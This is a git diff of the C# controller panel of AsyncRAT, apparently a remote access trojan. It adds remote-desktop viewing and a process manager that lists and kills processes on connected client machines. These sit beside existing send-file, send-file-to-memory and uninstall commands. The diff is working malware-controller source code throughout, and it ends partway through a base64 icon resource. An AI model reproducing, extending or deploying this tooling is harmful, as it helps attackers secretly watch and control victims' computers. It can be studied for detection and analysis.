diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index c79489f..bc99e49 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -21,6 +21,7 @@
DEBUG;TRACE
prompt
4
+ true
AnyCPU
@@ -55,6 +56,18 @@
Form1.cs
+
+ Form
+
+
+ ProcessManager.cs
+
+
+ Form
+
+
+ RemoteDesktop.cs
+
@@ -73,9 +86,45 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Form1.cs
+
+ ProcessManager.cs
+
+
+ RemoteDesktop.cs
+
ResXFileCodeGenerator
Resources.Designer.cs
@@ -108,5 +157,6 @@
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index 26b5aa9..f29f577 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -32,6 +32,7 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.listView1 = new System.Windows.Forms.ListView();
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
@@ -43,11 +44,12 @@
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components);
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
- this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@@ -78,6 +80,11 @@
this.lv_ip.Text = "IP";
this.lv_ip.Width = 150;
//
+ // lv_hwid
+ //
+ this.lv_hwid.Text = "HWID";
+ this.lv_hwid.Width = 150;
+ //
// lv_user
//
this.lv_user.Text = "USER";
@@ -96,9 +103,11 @@
this.toolStripSeparator1,
this.sENDMESSAGEBOXToolStripMenuItem,
this.sENDFILEToolStripMenuItem,
- this.sENDFILETOMEMORYToolStripMenuItem});
+ this.sENDFILETOMEMORYToolStripMenuItem,
+ this.rEMOTEDESKTOPToolStripMenuItem,
+ this.pROCESSMANAGERToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
- this.contextMenuStrip1.Size = new System.Drawing.Size(275, 130);
+ this.contextMenuStrip1.Size = new System.Drawing.Size(275, 223);
//
// cLIENTOPTIONSToolStripMenuItem
//
@@ -157,6 +166,13 @@
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
//
+ // rEMOTEDESKTOPToolStripMenuItem
+ //
+ this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
+ this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
+ this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
+ this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
+ //
// statusStrip1
//
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
@@ -186,10 +202,12 @@
this.UpdateUI.Interval = 1000;
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
//
- // lv_hwid
+ // pROCESSMANAGERToolStripMenuItem
//
- this.lv_hwid.Text = "HWID";
- this.lv_hwid.Width = 150;
+ this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
+ this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
+ this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
+ this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
//
// Form1
//
@@ -231,7 +249,9 @@
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
- private System.Windows.Forms.ColumnHeader lv_hwid;
+ private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem;
+ public System.Windows.Forms.ColumnHeader lv_hwid;
+ private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index 6599988..65699bc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -8,6 +8,7 @@ using System.Linq;
using System.Threading;
using System.Drawing;
using System.IO;
+using AsyncRAT_Sharp.Forms;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
@@ -66,7 +67,7 @@ namespace AsyncRAT_Sharp
}
- private void ping_Tick(object sender, EventArgs e)
+ private async void ping_Tick(object sender, EventArgs e)
{
if (Settings.Online.Count > 0)
{
@@ -75,7 +76,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
- Task.Run(() =>
+ await Task.Run(() =>
{
CL.BeginSend(msgpack.Encode2Bytes());
});
@@ -89,7 +90,7 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
}
- private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
+ private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -97,7 +98,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems)
{
- Task.Run(() =>
+ await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@@ -106,7 +107,7 @@ namespace AsyncRAT_Sharp
}
}
- private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
+ private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -120,7 +121,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems)
{
- Task.Run(() =>
+ await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@@ -162,7 +163,7 @@ namespace AsyncRAT_Sharp
}
}
- private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
+ private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -170,7 +171,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems)
{
- Task.Run(() =>
+ await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@@ -211,7 +212,7 @@ namespace AsyncRAT_Sharp
}
}
- private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
+ private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -235,7 +236,7 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
- Task.Run(() =>
+ await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@@ -246,5 +247,76 @@ namespace AsyncRAT_Sharp
SF.Close();
}
}
+
+ private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("Option").AsString = "true";
+ foreach (ListViewItem C in listView1.SelectedItems)
+ {
+ await Task.Run(() =>
+ {
+ Clients CL = (Clients)C.Tag;
+ this.BeginInvoke((MethodInvoker)(() =>
+ {
+ RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
+ if (RD == null)
+ {
+ RD = new RemoteDesktop
+ {
+ Name = "RemoteDesktop:" + CL.ID,
+ F = this,
+ Text = "RemoteDesktop:" + CL.ID,
+ C = CL,
+ Active = true
+ };
+ RD.Show();
+ CL.BeginSend(msgpack.Encode2Bytes());
+ }
+ }));
+ });
+ }
+ }
+ }
+ }
+
+ private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "processManager";
+ msgpack.ForcePathObject("Option").AsString = "List";
+ foreach (ListViewItem C in listView1.SelectedItems)
+ {
+ await Task.Run(() =>
+ {
+ Clients CL = (Clients)C.Tag;
+ this.BeginInvoke((MethodInvoker)(() =>
+ {
+ ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
+ if (PM == null)
+ {
+ PM = new ProcessManager
+ {
+ Name = "processManager:" + CL.ID,
+ Text = "processManager:" + CL.ID,
+ F = this,
+ C = CL
+ };
+ PM.Show();
+ CL.BeginSend(msgpack.Encode2Bytes());
+ }
+ }));
+ });
+ }
+ }
+ }
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
new file mode 100644
index 0000000..87a18cf
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
@@ -0,0 +1,135 @@
+namespace AsyncRAT_Sharp.Forms
+{
+ partial class ProcessManager
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager));
+ this.listView1 = new System.Windows.Forms.ListView();
+ this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.imageList1 = new System.Windows.Forms.ImageList(this.components);
+ this.timer1 = new System.Windows.Forms.Timer(this.components);
+ this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.contextMenuStrip1.SuspendLayout();
+ this.SuspendLayout();
+ //
+ // listView1
+ //
+ this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.lv_name,
+ this.lv_id});
+ this.listView1.ContextMenuStrip = this.contextMenuStrip1;
+ this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.listView1.FullRowSelect = true;
+ this.listView1.GridLines = true;
+ this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
+ this.listView1.Location = new System.Drawing.Point(0, 0);
+ this.listView1.Name = "listView1";
+ this.listView1.ShowGroups = false;
+ this.listView1.ShowItemToolTips = true;
+ this.listView1.Size = new System.Drawing.Size(659, 719);
+ this.listView1.SmallImageList = this.imageList1;
+ this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
+ this.listView1.TabIndex = 0;
+ this.listView1.UseCompatibleStateImageBehavior = false;
+ this.listView1.View = System.Windows.Forms.View.Details;
+ //
+ // lv_name
+ //
+ this.lv_name.Text = "Name";
+ this.lv_name.Width = 350;
+ //
+ // lv_id
+ //
+ this.lv_id.Text = "ID";
+ this.lv_id.Width = 150;
+ //
+ // imageList1
+ //
+ this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
+ this.imageList1.ImageSize = new System.Drawing.Size(32, 32);
+ this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
+ //
+ // timer1
+ //
+ this.timer1.Enabled = true;
+ this.timer1.Interval = 1000;
+ this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
+ //
+ // contextMenuStrip1
+ //
+ this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
+ this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.killToolStripMenuItem,
+ this.refreshToolStripMenuItem});
+ this.contextMenuStrip1.Name = "contextMenuStrip1";
+ this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
+ //
+ // killToolStripMenuItem
+ //
+ this.killToolStripMenuItem.Name = "killToolStripMenuItem";
+ this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
+ this.killToolStripMenuItem.Text = "Kill";
+ this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
+ //
+ // refreshToolStripMenuItem
+ //
+ this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
+ this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
+ this.refreshToolStripMenuItem.Text = "Refresh";
+ this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
+ //
+ // ProcessManager
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(659, 719);
+ this.Controls.Add(this.listView1);
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.Name = "ProcessManager";
+ this.Text = "ProcessManager";
+ this.contextMenuStrip1.ResumeLayout(false);
+ this.ResumeLayout(false);
+
+ }
+
+ #endregion
+ private System.Windows.Forms.ColumnHeader lv_name;
+ private System.Windows.Forms.ColumnHeader lv_id;
+ public System.Windows.Forms.ListView listView1;
+ public System.Windows.Forms.ImageList imageList1;
+ private System.Windows.Forms.Timer timer1;
+ private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
+ private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem;
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
new file mode 100644
index 0000000..2ec3236
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using AsyncRAT_Sharp.MessagePack;
+using AsyncRAT_Sharp.Sockets;
+
+namespace AsyncRAT_Sharp.Forms
+{
+ public partial class ProcessManager : Form
+ {
+ public ProcessManager()
+ {
+ InitializeComponent();
+ }
+
+ public Form1 F { get; set; }
+ internal Clients C { get; set; }
+
+ private void timer1_Tick(object sender, EventArgs e)
+ {
+ if (!C.Client.Connected)
+ {
+ this.Close();
+ }
+ }
+
+ private async void killToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ foreach (ListViewItem P in listView1.SelectedItems)
+ {
+ await Task.Run(() =>
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "processManager";
+ msgpack.ForcePathObject("Option").AsString = "Kill";
+ msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
+ C.BeginSend(msgpack.Encode2Bytes());
+ });
+ }
+ }
+ }
+
+ private async void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ await Task.Run(() =>
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "processManager";
+ msgpack.ForcePathObject("Option").AsString = "List";
+ C.BeginSend(msgpack.Encode2Bytes());
+ });
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx
new file mode 100644
index 0000000..d449eb8
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx
@@ -0,0 +1,586 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ 280, 17
+
+
+ 17, 17
+
+
+ 166, 17
+
+
+
+
+ AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA
+ IACoJQAA7h4AAAAAAAABACAAHyUAAJZEAAAoAAAAEAAAACAAAAABACAAAAAAAAAEAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAF3n0ARNl7AMDHcwDGwnEAS8NxAAbDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAHdfQAq3X0Ak919AOrafAD/x3MA/8NxAO3DcQCaw3EAL8Nx
+ AALDcQAAAAAAAAAAAADdfQAA3X0AAN19ABzcewB93HsA4N18AP/dfQD/2nwA/8dzAP/DcQD/w3EA/8Jv
+ AOTCbwCEw3EAIMNxAADDcQAA3X0AAN19ADPdfQDP4o8j/eWdQP/fhRH/3X0A/9p8AP/HcwD/w3AA/8Z5
+ Dv/SlD//zIYl/sNxANXDcQA8w3EAAN19AADdfQBm3XsA/+inUv/9+PD/67Jp/917AP/aewD/xnIA/8Ju
+ AP/ZpmD//Pfx/9ikW//CbwD/w3EAdMNxAADdfQAA3X0Af918AP/fhhP/+OTK//ffwf/hihr/3IQP/8p7
+ D//Ifhf/7ti4//Tm0v/Ifhj/w3AA/8NxAI3DcQAA3X0AAN19AJndfQD/3XsA/+y1bv/++/f/+enT//jn
+ 0P/15dH/9ObS//379//ftHj/wnAA/8NxAP/DcQCmw3EAAt19AAbdfQCx3X0A/918AP/hjB//+uzZ//zy
+ 5v/wyZb/58SU//ju4P/47uD/zIYm/8JwAP/DcQD/w3EAvcNxAAvdfQAQ3X0Ax919AP/dfQD/3XwA/+/B
+ hv/88uX/348p/86DH//37N7/5cKS/8NxAf/DcQD/w3EA/8NxANHDcQAX3X0AHt19ANndfQD/3X0A/918
+ AP/jlC7//PPn/+q5ef/gr2z/+vTr/9CPN//CbwD/w3EA/8NxAP/DcQDiw3EAKN19ADHdfQDo3X0A/919
+ AP/dfQD/3X4D//LNnv/57Nr/9+nV/+vPqf/EdAb/w3EA/8NxAP/DcQD/w3EA7sNxAD3dfQBH3X0A8919
+ AP/dfQD/3X0A/917AP/lnUH//fjx//369f/Vmkv/wm8A/8NxAP/DcQD/w3EA/8NxAPjDcQBV3X0AYt19
+ APvdfQD/3X0A/919AP/dfQD/3oEJ//XZtf/w3MD/xngO/8NwAP/DcQD/w3EA/8NxAP/DcQD9w3EAcd19
+ ADTdfQCi3X0A4t19AP3dfQD/3X0A/917AP/nplL/2aRb/8JvAP/DcQD/w3EA/8NxAP3DcQDkw3EAp8Nx
+ ADzdfQAA3X0ABN19ACTdfQBl3X0Asd19AOjdfQD+238H/8h2CP/DcQD+w3EA6sNxALXDcQBqw3EAKMNx
+ AAXDcQAAAAAAAAAAAADdfQAA3X0AAN19AAndfQA23X0Ahtp7ANrHcwDdw3EAi8NxADrDcQAKw3EAAMNx
+ AAAAAAAAAAAAAPgfAADgBwAAwAMAAIABAACAAQAAgAEAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAgAEAAPAPAAAoAAAAGAAAADAAAAABACAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN59AELaewC/yHMAyMJxAE3DcQAHw3EAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19
+ AAHdfQAp3X0Akd19AOnafAD/x3MA/8NxAO7DcQCcw3EAMcNxAALDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHvdfQDf3X0A/919AP/afAD/x3MA/8Nx
+ AP/DcQD/w3EA5cNxAIbDcQAiw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19
+ ABHdfQBl3X0A0N19AP3dfQD/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EA/8NxAP7DcQDXw3EAcMNx
+ ABXDcQAAw3EAAAAAAAAAAAAAAAAAAN19AADdfQAI3X0AT919AL7dewD63HsA/917AP/dfQD/3X0A/919
+ AP/afAD/x3MA/8NxAP/DcQD/w3EA/8JvAP/CbwD/wm8A/MNxAMfDcQBZw3EADMNxAADDcQAA3X0AAN19
+ AADdfQBh3X0A9d5/BP/mn0P/6apZ/+WdP//dfgP/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EB/9GR
+ O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
+ 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
+ AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
+ AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
+ AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
+ AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
+ wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
+ ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
+ x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
+ Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
+ AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
+ Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
+ AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
+ /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
+ AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
+ tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
+ DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
+ AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
+ AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
+ AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
+ AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
+ AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
+ ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
+ AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
